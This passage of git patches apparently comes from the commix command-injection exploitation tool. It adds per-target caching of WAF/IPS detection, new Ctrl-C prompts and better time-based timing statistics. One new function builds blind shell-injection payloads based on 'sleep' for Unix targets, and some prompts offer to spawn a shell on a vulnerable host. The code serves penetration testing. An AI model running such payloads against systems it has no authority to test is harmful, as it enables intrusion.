re.search(r"(?i)CloudFlare", page): warn_msg += " (CloudFlare)." @@ -868,6 +897,8 @@ def captcha_check(page): for match in re.finditer(r"(?si)", page): if re.search(r"(?i)captcha", match.group(0)): settings.CAPTCHA_DETECED = True + settings.WAF_ENABLED = True + _persist_waf_finding() warn_msg = "Potential CAPTCHA protection mechanism detected" if re.search(r"(?i)[^<]*CloudFlare", page): warn_msg += " (CloudFlare)." @@ -1071,13 +1102,7 @@ def continue_tests(err): # Possible WAF/IPS try: - if (str(err.code) == settings.FORBIDDEN_ERROR or \ - str(err.code) == settings.NOT_ACCEPTABLE_ERROR) and \ - not menu.options.skip_waf and \ - not settings.HOST_INJECTION : - warn_msg = "It seems some kind of WAF/IPS is protecting the target." - settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - settings.WAF_ENABLED = True + detect_waf(err.code) message = "" if str(err.code) == settings.NOT_FOUND_ERROR: diff --git a/src/core/main.py b/src/core/main.py index 4ddd224933..661cdbffba 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -275,6 +275,9 @@ def url_response(url, http_request_method): # Check if http / https url = checks.check_http_s(url) request, url = init_request(url, http_request_method) + # Set early so WAF detection can persist the finding. + settings.TARGET_URL = _urllib.parse.urlparse(url).hostname + settings.TARGET_NETLOC = _urllib.parse.urlparse(url).netloc # Cache clean-request timing to avoid repeating the measurement, resetting it first to prevent stale values. settings.INIT_CONNECTION_TIME = None settings.INIT_CONNECTION_FETCH_TIME = None @@ -297,7 +300,6 @@ def url_response(url, http_request_method): settings.INIT_CONNECTION_TIME = _conn_end - _conn_start settings.INIT_CONNECTION_FETCH_TIME = _conn_end settings.INIT_CONNECTION_URL = conn_url - settings.TARGET_URL = _urllib.parse.urlparse(url).hostname if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False # initiate total of requests @@ -998,6 +1000,7 @@ def main(filename, url, http_request_method): response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) main(filename, url, http_request_method) else: @@ -1151,6 +1154,7 @@ def main(filename, url, http_request_method): response, form_url = url_response(form_url, settings.HTTPMETHOD.POST) if response != False: filename = logs.logs_filename_creation(form_url) + session_handler.restore_waf_status(form_url) main(filename, form_url, settings.HTTPMETHOD.POST) except KeyboardInterrupt: checks.handle_early_interrupt(filename, form_url) @@ -1224,6 +1228,7 @@ def main(filename, url, http_request_method): response, url = url_response(url, http_request_method) if response != False: filename = logs.logs_filename_creation(url) + session_handler.restore_waf_status(url) main(filename, url, http_request_method) except KeyboardInterrupt: checks.handle_early_interrupt(filename, url) diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 0abe2171a6..142d172fee 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -401,6 +401,11 @@ def request_failed(err_msg): error_msg += "status code received." elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): error_msg = "Connection was forcibly closed by the target URL." + elif checks.detect_waf(getattr(err_msg, "code", None)): + # First request never reaches continue_tests(), so check here too. + if not settings.NOT_FOUND_ERROR in str(err_msg).lower(): + return False + return True elif [True for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)]: status_code = [err_code for err_code in settings.HTTP_ERROR_CODES if err_code in str(error_msg)] warn_msg = "The web server responded with an HTTP error code '" + str(status_code[0]) diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 1270f3f903..f382b12557 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -474,6 +474,48 @@ def export_stored_cmd(url, cmd, vuln_parameter): pass +""" +Store whether the target was found to be WAF/IPS-protected, so a resumed +session against the same target doesn't need to redo the heuristic probe. +""" +def import_waf_status(url, waf_enabled): + try: + with _session_connection() as conn: + table = table_name(url) + "_waf" + conn.execute("CREATE TABLE IF NOT EXISTS \"" + table + "\" (waf_enabled VARCHAR);") + conn.execute("DELETE FROM \"" + table + "\";") + conn.execute("INSERT INTO \"" + table + "\" (waf_enabled) VALUES (?)", (str(waf_enabled),)) + conn.commit() + except (sqlite3.OperationalError, sqlite3.DatabaseError): + pass + +""" +Retrieve a previously stored WAF/IPS detection result for the given target. +Returns None if nothing is stored yet. +""" +def check_stored_waf_status(url): + try: + with _session_connection() as conn: + table = table_name(url) + "_waf" + query = "SELECT name FROM sqlite_master WHERE name = ? AND type = 'table';" + if not conn.execute(query, (table,)).fetchone(): + return None + row = conn.execute("SELECT waf_enabled FROM \"" + table + "\" LIMIT 1;").fetchone() + return row[0] == "True" if row else None + except (sqlite3.OperationalError, sqlite3.DatabaseError): + return None + +""" +Restore a WAF/IPS finding from a previous session, before testing starts. +""" +def restore_waf_status(url): + if menu.options.skip_waf or menu.options.ignore_session or menu.options.flush_session: + return + if not settings.WAF_ENABLED and check_stored_waf_status(url): + settings.WAF_ENABLED = True + info_msg = "Previous session heuristics detected that the target is protected by some kind of WAF/IPS." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Save valid authentication credentials (e.g., username and password) discovered during testing into the session database. """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 800a601f9a..936700c03d 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -296,7 +296,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.2" -REVISION = "77" +REVISION = "78" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -1267,6 +1267,8 @@ class AUTH_TYPE(object): NOT_FOUND_ERROR = "404" NOT_ALLOWED = "405" NOT_ACCEPTABLE_ERROR = "406" +TOO_MANY_REQUESTS = "429" +UNAVAILABLE_FOR_LEGAL_REASONS = "451" INTERNAL_SERVER_ERROR = "500" NOT_IMPLEMENTED = "501" BAD_GATEWAY = "502" @@ -1278,6 +1280,8 @@ class AUTH_TYPE(object): NOT_FOUND_ERROR, NOT_ALLOWED, NOT_ACCEPTABLE_ERROR, + TOO_MANY_REQUESTS, + UNAVAILABLE_FOR_LEGAL_REASONS, INTERNAL_SERVER_ERROR, NOT_IMPLEMENTED, BAD_GATEWAY, @@ -1285,6 +1289,15 @@ class AUTH_TYPE(object): GATEWAY_TIMEOUT ] +# HTTP status codes a WAF/IPS typically returns when it blocks a request. +WAF_BLOCK_HTTP_CODES = [ FORBIDDEN_ERROR, + NOT_ACCEPTABLE_ERROR, + TOO_MANY_REQUESTS, + UNAVAILABLE_FOR_LEGAL_REASONS, + NOT_IMPLEMENTED, + SERVICE_UNAVAILABLE + ] + HTTP_ERROR_CODES_SUM = [] # End line @@ -1416,6 +1429,8 @@ class END_LINE: # Regular expression used for recognition of generic "your ip has been blocked" messages. BLOCKED_IP_REGEX = r"(?i)(\A|\b)ip\b.*\b(banned|blocked|block list|firewall)" +BLOCKED_IP_DETECTED = None + # Prefix for Google analytics cookie names GOOGLE_ANALYTICS_COOKIE_PREFIX = "__UTM" @@ -1429,6 +1444,8 @@ class END_LINE: NAGGING_DAYS = 31 TARGET_URL = "" +# Host:port (matches session_handler.table_name()'s hashing), unlike TARGET_URL above. +TARGET_NETLOC = "" DOC_ROOT_TARGET_MARK = "%TARGET%" # Windows common document roots From 91d3f36d32f6022e1be3ea16cb0a22e22d4b00d7 Mon Sep 17 00:00:00 2001 From: stasinopoulos <an.stasinopoulos@gmail.com> Date: Thu, 20 Aug 2026 07:40:43 +0300 Subject: [PATCH 0735/1023] Improved parameter detection and time-based extraction, optimized session handling, and refined `--purge` behavior --- doc/CHANGELOG.md | 4 + .../blind/techniques/time_based/tb_handler.py | 2 +- .../techniques/time_based/tb_injector.py | 4 +- .../techniques/time_based/tb_payloads.py | 32 ++ src/core/injections/controller/checks.py | 254 +++++++++---- src/core/injections/controller/controller.py | 72 +++- src/core/injections/controller/enumeration.py | 25 +- src/core/injections/controller/file_access.py | 4 +- src/core/injections/controller/handler.py | 41 +- src/core/injections/controller/injector.py | 349 ++++++++++++------ .../techniques/tempfile_based/tfb_injector.py | 4 +- .../techniques/tempfile_based/tfb_payloads.py | 32 ++ src/core/main.py | 34 +- src/core/modules/shellshock/shellshock.py | 4 +- src/core/requests/authentication.py | 2 +- src/core/requests/redirection.py | 2 +- src/core/requests/requests.py | 88 ++++- src/utils/crawler.py | 14 +- src/utils/install.py | 2 +- src/utils/purge.py | 9 +- src/utils/session_handler.py | 41 +- src/utils/settings.py | 26 +- src/utils/update.py | 4 +- 23 files changed, 764 insertions(+), 285 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 11906117c9..4068a9baaf 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,8 @@ ## Version 4.2 (TBA) +* Added: Faster detection when a parameter's real value isn't required for testing. +* Revised: Improved data extraction performance for time-related techniques. +* Fixed: Resumed stored techniques are trusted immediately, without a redundant live re-check. +Revised: Improved switch `--purge` only to clear the current target's session. * Revised: Improved WAF/IPS detection coverage, now cached per target across resumed scans. * Added: Interactive Ctrl-C handling during detection and exploitation, with cleaner exit handling. * Fixed: Multiple bug-fixes improving detection accuracy and reliability for results-based techniques. diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index da8c0ec0c3..a520ab08aa 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -45,7 +45,7 @@ def exploitation(url, timesec, filename, http_request_method, url_time_response, if go_back == True: return False message = "High response delays make time-related techniques unreliable. " - message += "How do you want to proceed? [(C)ontinue/(s)kip] > " + message += "How do you want to proceed? [(C)ontinue/(s)kip] " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 387ff2811f..e7ddbfa39e 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -29,8 +29,8 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, """ False Positive check and evaluation. """ -def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None): +def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timesec, http_request_method, url, vuln_parameter, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt=None, retry_total=None, silent=False): OUTPUT_TEXTFILE = "" - return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total) + return injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, exec_time, url_time_response, false_positive_warning, technique, retry_attempt, retry_total, silent) # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 8fcc58889c..1715978a30 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -152,6 +152,38 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me return payload +""" +Build a raw shell numeric comparison for false-positive checks; Unix-only. +""" +def condition_check(separator, condition, timesec, http_request_method): + if settings.TARGET_OS == settings.OS.WINDOWS: + return None + if separator in (";", "%0a"): + payload = (separator + + "if [ " + condition + " ]" + separator + + "then sleep " + str(timesec) + separator + + "fi" + ) + elif separator == _urllib.parse.quote("&&"): + payload = (_urllib.parse.quote("&") + + "sleep 0" + separator + + "[ " + condition + " ]" + separator + + "sleep " + str(timesec) + ) + elif separator == "||": + pipe = "|" + payload = (pipe + + "[ ! " + condition + " ]" + separator + + "sleep " + str(timesec) + ) + else: + return None + + if settings.CUSTOM_INJECTION_MARKER: + payload = payload + separator + + return checks.sanitize_payload_newlines(payload) + """ Execute shell commands on vulnerable host. """ diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 1e54071125..b85a0b65c8 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -75,7 +75,7 @@ def exit(): """ Persist a new WAF/IPS finding when possible; defer the import to avoid a circular dependency. """ -def _persist_waf_finding(): +def persist_waf_finding(): if menu.options.ignore_session or not settings.TARGET_NETLOC: return from src.utils import session_handler @@ -92,7 +92,7 @@ def detect_waf(err_code): warn_msg = "It seems some kind of WAF/IPS is protecting the target." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) settings.WAF_ENABLED = True - _persist_waf_finding() + persist_waf_finding() return True return False @@ -167,7 +167,7 @@ def process_non_custom(): if settings.CUSTOM_INJECTION_MARKER and not settings.SKIP_NON_CUSTOM_PARAMS: while True: message = "Other non-custom parameters found." - message += " Do you want to process them too? [Y/n] > " + message += " Do you want to process them too? [Y/n] " process = common.read_input(message, default="Y", check_batch=True) if process in settings.CHOICE_YES: settings.CUSTOM_INJECTION_MARKER = False @@ -264,7 +264,7 @@ def custom_injection_marker_character(url, http_request_method): if settings.CUSTOM_INJECTION_MARKER: while True: message = "Custom injection marker ('" + settings.CUSTOM_INJECTION_MARKER_CHAR + "') found in " + option +". " - message += "Do you want to process it? [Y/n] > " + message += "Do you want to process it? [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: return True @@ -291,7 +291,7 @@ def keep_testing_others(filename, url): if not settings.LOAD_SESSION: if settings.SKIP_COMMAND_INJECTIONS: while True: - message = "Do you want to keep testing the others? [y/N] > " + message = "Do you want to keep testing the others? [y/N] " procced_option = common.read_input(message, default="N", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True @@ -317,7 +317,7 @@ def skip_testing(filename, url): _ = " further testing" while True: message = "Do you want to skip" + _ + " on the " - message += settings.CHECKING_PARAMETER + "? (recommended if certain) [Y/n] > " + message += settings.CHECKING_PARAMETER + "? (recommended if certain) [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True @@ -342,7 +342,7 @@ def mobile_user_agents(): mobile_agents = common.load_list_from_file(settings.MOBILE_USER_AGENT_LIST, "mobile user-agent list") while True: - message = "Which smartphone do you want to imitate through HTTP User-Agent header? > " + message = "Which smartphone do you want to imitate through HTTP User-Agent header? " mobile_user_agent = common.read_input(message, default="1", check_batch=True) try: choice = int(mobile_user_agent) @@ -414,6 +414,27 @@ def user_aborted(filename, url): settings.print_data_to_stdout(settings.print_abort_msg(abort_msg)) raise exit() +""" +Prompts for and applies a new verbosity level (0-4) - used by the Ctrl-C menus. +""" +def change_verbosity(): + msg = "Enter new verbosity level (0-4) [current: " + str(settings.VERBOSITY_LEVEL) + "] " + # Ctrl-C is itself an explicit request for attention - always prompt for + # real input here, even under --batch. + choice = common.read_input(msg, default=str(settings.VERBOSITY_LEVEL), check_batch=False) + try: + level = int(choice or settings.VERBOSITY_LEVEL) + except ValueError: + level = None + if level is not None and 0 <= level <= 4: + settings.VERBOSITY_LEVEL = level + menu.options.verbose = level + info_msg = "Verbosity level set to " + str(level) + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + else: + warn_msg = "Invalid verbosity level - keeping the current value (" + str(settings.VERBOSITY_LEVEL) + ")." + settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) + """ Ctrl-C during detection - ask how to proceed instead of aborting outright. """ @@ -422,14 +443,24 @@ def handle_detection_interrupt(filename, url): warn_msg = "User aborted during the detection phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) if settings.MULTI_TARGETS: - msg = "How do you want to proceed? [ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(q)uit] > " + msg = "How do you want to proceed? [ne(X)t target/(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " default = "X" + valid_choices = ("x", "s", "e", "n", "v", "q") else: - msg = "How do you want to proceed? [(S)kip current technique/(e)nd detection phase/(n)ext parameter/(q)uit] > " + msg = "How do you want to proceed? [(S)kip current technique/(e)nd detection phase/(n)ext parameter/(v)erbosity/(q)uit] " default = "S" - choice = common.read_input(msg, default=default, check_batch=True) - choice = (choice or default).strip().lower() - if choice == "x" and settings.MULTI_TARGETS: + valid_choices = ("s", "e", "n", "v", "q") + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default=default, check_batch=False) or default).strip().lower() + if choice in valid_choices: + break + common.invalid_option(choice) + if choice == "v": + # No further prompting - changing verbosity redoes the current technique from the top, not skip past it. + change_verbosity() + raise settings.RetryTechniqueException() + elif choice == "x": raise settings.NextTargetException() elif choice == "e": raise settings.EndDetectionPhaseException() @@ -438,7 +469,7 @@ def handle_detection_interrupt(filename, url): elif choice == "q": user_aborted(filename, url) else: - # Anything else (including the default "s") - move on to the next technique. + # "s" - move on to the next technique. raise settings.SkipTechniqueException() """ @@ -451,9 +482,18 @@ def handle_early_interrupt(filename, url): settings.clear_current_line() warn_msg = "User aborted during the detection phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - msg = "How do you want to proceed? [ne(X)t target/(q)uit] > " - choice = common.read_input(msg, default="X", check_batch=True) - if (choice or "X").strip().lower() == "q": + msg = "How do you want to proceed? [ne(X)t target/(v)erbosity/(q)uit] " + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default="X", check_batch=False) or "X").strip().lower() + if choice in ("x", "v", "q"): + break + common.invalid_option(choice) + if choice == "v": + # No further prompting - changing verbosity just continues (next target). + change_verbosity() + return + if choice == "q": user_aborted(filename, url) """ @@ -464,9 +504,19 @@ def handle_exploitation_interrupt(filename, url): settings.clear_current_line() warn_msg = "User aborted during the exploitation phase (Ctrl-C pressed)." settings.print_data_to_stdout(settings.print_warning_msg(warn_msg)) - msg = "How do you want to proceed? [(C)ontinue/(q)uit] > " - choice = common.read_input(msg, default="C", check_batch=True) - if (choice or "C").strip().lower() == "q": + # "v" here, not "c" - "C" is already taken by "Continue" in this menu. + msg = "How do you want to proceed? [(C)ontinue/(v)erbosity/(q)uit] " + while True: + # Ctrl-C is itself an explicit request for attention - always prompt, even under --batch. + choice = (common.read_input(msg, default="C", check_batch=False) or "C").strip().lower() + if choice in ("c", "v", "q"): + break + common.invalid_option(choice) + if choice == "v": + # No further prompting - changing verbosity just continues. + change_verbosity() + return + if choice == "q": user_aborted(filename, url) """ @@ -531,7 +581,7 @@ def mask_cookie_value(cookie_str): message = "You declared some cookie(s), " message += "but the server is setting additional ones ('" message += mask_cookie_value(candidate) - message += "'). Do you want to merge them? [Y/n] > " + message += "'). Do you want to merge them? [Y/n] " merge_option = common.read_input(message, default="Y", check_batch=True) if merge_option in settings.CHOICE_YES: menu.options.cookie += settings.COOKIE_PARAM_DELIMITER + candidate @@ -551,7 +601,7 @@ def mask_cookie_value(cookie_str): message = "You have not declared any cookie(s), " message += "but the server wants to set its own ('" message += mask_cookie_value(candidate) - message += "'). Do you want to use those? [Y/n] > " + message += "'). Do you want to use those? [Y/n] " set_cookies = common.read_input(message, default="Y", check_batch=True) if set_cookies in settings.CHOICE_YES: menu.options.cookie = candidate @@ -698,7 +748,7 @@ def value_inside_boundaries(parameter, http_request_method): while True: message = "It appears that provided value '" + value_inside_boundaries + "' has boundaries." message += " Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "'" - message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] > " + message += " modifier outside boundaries? ('" + pcre_mod_value + "') [Y/n] " modifier_check = common.read_input(message, default="Y", check_batch=True) if modifier_check in settings.CHOICE_YES: parameter = parameter.replace(value_inside_boundaries, pcre_mod_value) @@ -716,7 +766,7 @@ def value_inside_boundaries(parameter, http_request_method): value = value_inside_boundaries.replace(value, value + settings.CUSTOM_INJECTION_MARKER_CHAR) while True: message = "Do you want to inject the provided value '" + value + "' inside boundaries?" - message += " ('" + value + "') [Y/n] > " + message += " ('" + value + "') [Y/n] " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.INJECT_INSIDE_BOUNDARIES = True @@ -870,7 +920,7 @@ def blocked_ip(page): if not settings.BLOCKED_IP_DETECTED and re.search(settings.BLOCKED_IP_REGEX, page): settings.BLOCKED_IP_DETECTED = True settings.WAF_ENABLED = True - _persist_waf_finding() + persist_waf_finding() warn_msg = "It appears the target server has blocked you." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) @@ -881,7 +931,7 @@ def browser_verification(page): if not settings.BROWSER_VERIFICATION and re.search(r"(?i)browser.?verification", page or ""): settings.BROWSER_VERIFICATION = True settings.WAF_ENABLED = True - _persist_waf_finding() + persist_waf_finding() warn_msg = "Potential browser verification protection mechanism detected" if re.search(r"(?i)CloudFlare", page): warn_msg += " (CloudFlare)." @@ -898,7 +948,7 @@ def captcha_check(page): if re.search(r"(?i)captcha", match.group(0)): settings.CAPTCHA_DETECED = True settings.WAF_ENABLED = True - _persist_waf_finding() + persist_waf_finding() warn_msg = "Potential CAPTCHA protection mechanism detected" if re.search(r"(?i)<title>[^<]*CloudFlare", page): warn_msg += " (CloudFlare)." @@ -916,7 +966,7 @@ def check_for_false_positive_result(false_positive_warning): info_msg = "Identified a potential injection point on " info_msg += settings.CHECKING_PARAMETER + "." settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - info_msg = "Testing" + (", with a longer delay to rule out noise," if false_positive_warning else "") + info_msg = "Testing" + (" with a longer delay to rule out noise" if false_positive_warning else "") info_msg += " if the injection point is a false positive" if settings.VERBOSITY_LEVEL != 0: info_msg = info_msg + "." + settings.END_LINE.LF @@ -974,7 +1024,7 @@ def assessment_phase(): def next_attack_vector(technique, go_back): if not settings.LOAD_SESSION: while True: - message = "Do you want to continue testing using the " + technique + "? [y/N] > " + message = "Do you want to continue testing using the " + technique + "? [y/N] " next_attack_vector = common.read_input(message, default="N", check_batch=True) if next_attack_vector in settings.CHOICE_YES: # Check injection state @@ -1025,7 +1075,7 @@ def enable_shell(url): message += " injection point from stored session" else: message += " is likely vulnerable" - message += ". Do you want to spawn a pseudo-terminal shell? [Y/n] > " + message += ". Do you want to spawn a pseudo-terminal shell? [Y/n] " if settings.CRAWLING: settings.CRAWLED_URLS_INJECTED.append(_urllib.parse.urlparse(url).netloc) gotshell = common.read_input(message, default="Y", check_batch=True) @@ -1054,7 +1104,7 @@ def procced_with_file_based_technique(): while True: message = "Due to the provided '--web-root' option, " message += "do you want to proceed with the (semi-blind) " - message += "file-based injection technique? [y/N] > " + message += "file-based injection technique? [y/N] " enable_fb = common.read_input(message, default="N", check_batch=True) if enable_fb in settings.CHOICE_YES: return True @@ -1110,7 +1160,7 @@ def continue_tests(err): while True: message += "Do you want to ignore HTTP response code '" + str(err.code) - message += "' and proceed with testing? [y/N] > " + message += "' and proceed with testing? [y/N] " continue_tests = common.read_input(message, default="N", check_batch=True) if continue_tests in settings.CHOICE_YES: settings.IGNORE_CODE.append(err.code) @@ -1184,7 +1234,7 @@ def ps_check(): while True: message = "Some payloads in the selected options require PowerShell. " message += "Do you want to use the '--ps-version' flag " - message += "to ensure it is enabled? [Y/n] > " + message += "to ensure it is enabled? [Y/n] " ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: menu.options.ps_version = True @@ -1202,7 +1252,7 @@ def ps_check(): """ def ps_check_failed(): while True: - message = "Do you want to proceed despite the above warning? [Y/n] > " + message = "Do you want to proceed despite the above warning? [Y/n] " ps_check = common.read_input(message, default="Y", check_batch=True) if ps_check in settings.CHOICE_YES: break @@ -1232,7 +1282,7 @@ def check_CGI_scripts(url): _ = True settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) while True: - message = "Do you want to enable the Shellshock module ('--shellshock')? [Y/n] > " + message = "Do you want to enable the Shellshock module ('--shellshock')? [Y/n] " shellshock_check = common.read_input(message, default="Y", check_batch=True) if shellshock_check in settings.CHOICE_YES: menu.options.shellshock = True @@ -1352,7 +1402,7 @@ def define_target_os(): else: while True: message = "Do you recognize the server's underlying operating system? " - message += "[(N)o/(u)nix-like/(w)indows/(q)uit] > " + message += "[(N)o/(u)nix-like/(w)indows/(q)uit] " got_os = common.read_input(message, default="N", check_batch=True) if got_os.lower() in settings.CHOICE_OS : if got_os.lower() == "u": @@ -1379,20 +1429,20 @@ def identified_os(): warn_msg = "Identified a different operating system (i.e. '" warn_msg += settings.TARGET_OS.title() + "') than the one you defined (i.e. '" + menu.options.os.title() + "')." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) - message = "How do you want to proceed? [(C)ontinue/(s)kip] > " - proceed_option = common.read_input(message, default="S", check_batch=True) - if proceed_option.lower() in settings.CHOICE_PROCEED : - if proceed_option.lower() == "c": - settings.IGNORE_IDENTIFIED_TARGET_OS = True - return settings.IGNORE_IDENTIFIED_TARGET_OS - elif proceed_option.lower() == "s": - settings.IGNORE_IDENTIFIED_TARGET_OS = False - return settings.IGNORE_IDENTIFIED_TARGET_OS - elif proceed_option.lower() == "q": - raise SystemExit() - else: + message = "How do you want to proceed? [(C)ontinue/(s)kip] " + while True: + proceed_option = (common.read_input(message, default="S", check_batch=True) or "S").strip().lower() + if proceed_option in ("c", "s", "q"): + break common.invalid_option(proceed_option) - pass + if proceed_option == "c": + settings.IGNORE_IDENTIFIED_TARGET_OS = True + return settings.IGNORE_IDENTIFIED_TARGET_OS + elif proceed_option == "s": + settings.IGNORE_IDENTIFIED_TARGET_OS = False + return settings.IGNORE_IDENTIFIED_TARGET_OS + elif proceed_option == "q": + raise SystemExit() """ Checking for all required third-party library dependencies. @@ -1481,7 +1531,7 @@ def time_delay_due_to_unstable_request(timesec): message = "Unexpected time delays have been identified." settings.print_data_to_stdout(settings.END_LINE.CR) while True: - message = message + " How do you want to proceed? [(C)ontinue with a longer delay/(s)kip this candidate and try the next] > " + message = message + " How do you want to proceed? [(C)ontinue with a longer delay/(s)kip this candidate and try the next] " proceed_option = common.read_input(message, default="C", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": @@ -1500,6 +1550,12 @@ def time_delay_due_to_unstable_request(timesec): common.invalid_option(proceed_option) pass +""" +True only for a genuinely finished stored value - a partial (interrupted-run) marker isn't a result yet, and must be treated the same as "nothing stored" so the caller re-runs (and thereby resumes) it instead of handing back the raw marker. +""" +def usable_stored_cmd(stored_value): + return stored_value is not None and not stored_value.startswith(settings.PARTIAL_VALUE_MARKER) + """ Drop high-latency spikes from a response-time sample via a median/MAD cutoff. """ @@ -1524,15 +1580,50 @@ def record_baseline_response_time(exec_time): settings.RESPONSE_TIMES[:] = settings.RESPONSE_TIMES[-(settings.MAX_TIME_RESPONSES // 2):] """ -Return the adaptive delay threshold, or None until enough baseline data is available. +Blocking warm-up: fills the response-time model to MIN_TIME_RESPONSES before the first real timing comparison, instead of running that decision on a thin or empty model. +""" +def warm_up_response_baseline(url, http_request_method): + if len(settings.RESPONSE_TIMES) >= settings.MIN_TIME_RESPONSES: + return + info_msg = "Time-related response comparison requires a larger statistical model" + info_msg += "." if settings.VERBOSITY_LEVEL != 0 else ", please wait..." + settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_info_msg(info_msg)) + while len(settings.RESPONSE_TIMES) < settings.MIN_TIME_RESPONSES: + sample = requests.quick_response_time_sample(url, http_request_method) + if sample is not None: + record_baseline_response_time(sample) + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(".") + if settings.VERBOSITY_LEVEL == 0: + settings.print_data_to_stdout(" (done)") + +""" +Warns once (whichever call site reaches it first) if the connection is already too jittery to trust automatically, and disables timesec auto-shrinking for the rest of the run. Returns True if lagging is (or was already found to be) detected. +""" +def check_lagging(): + if not settings.LAGGING_CHECKED: + settings.LAGGING_CHECKED = True + if len(settings.RESPONSE_TIMES) > 1 and statistics.pstdev(settings.RESPONSE_TIMES) > settings.WARN_TIME_STDEV: + settings.LAGGING_DETECTED = settings.JITTER_SEEN = settings.ADJUST_TIME_DELAY_DISABLED = True + warn_msg = "Detected considerable lagging in the connection response(s). " + warn_msg += "Consider using a higher '--time-sec' value (e.g. 10 or more)." + settings.print_data_to_stdout(settings.print_critical_msg(warn_msg)) + return settings.LAGGING_DETECTED + +""" +Current adaptive delay threshold (mean + N*stdev of the baseline), or None if there's no data to compute a deviation from yet. """ def current_delay_threshold(): sample = strip_time_outliers(settings.RESPONSE_TIMES) - if len(sample) >= settings.MIN_TIME_RESPONSES: - deviation = statistics.pstdev(sample) - if deviation: - return max(settings.MIN_VALID_DELAYED_RESPONSE, statistics.mean(sample) + settings.TIME_STDEV_COEFF * deviation) - return None + if len(sample) < 2: + return None + deviation = statistics.pstdev(sample) + if not deviation: + return None + if len(sample) < settings.MIN_TIME_RESPONSES and settings.VERBOSITY_LEVEL != 0: + debug_msg = "Time-based standard deviation method used on a model with less than " + str(settings.MIN_TIME_RESPONSES) + " response times." + settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) + return max(settings.MIN_VALID_DELAYED_RESPONSE, statistics.mean(sample) + settings.TIME_STDEV_COEFF * deviation) """ Time related shell condition. Uses the adaptive threshold once available, else a fixed one. @@ -1573,18 +1664,18 @@ def identified_http_auth_type(auth_type): 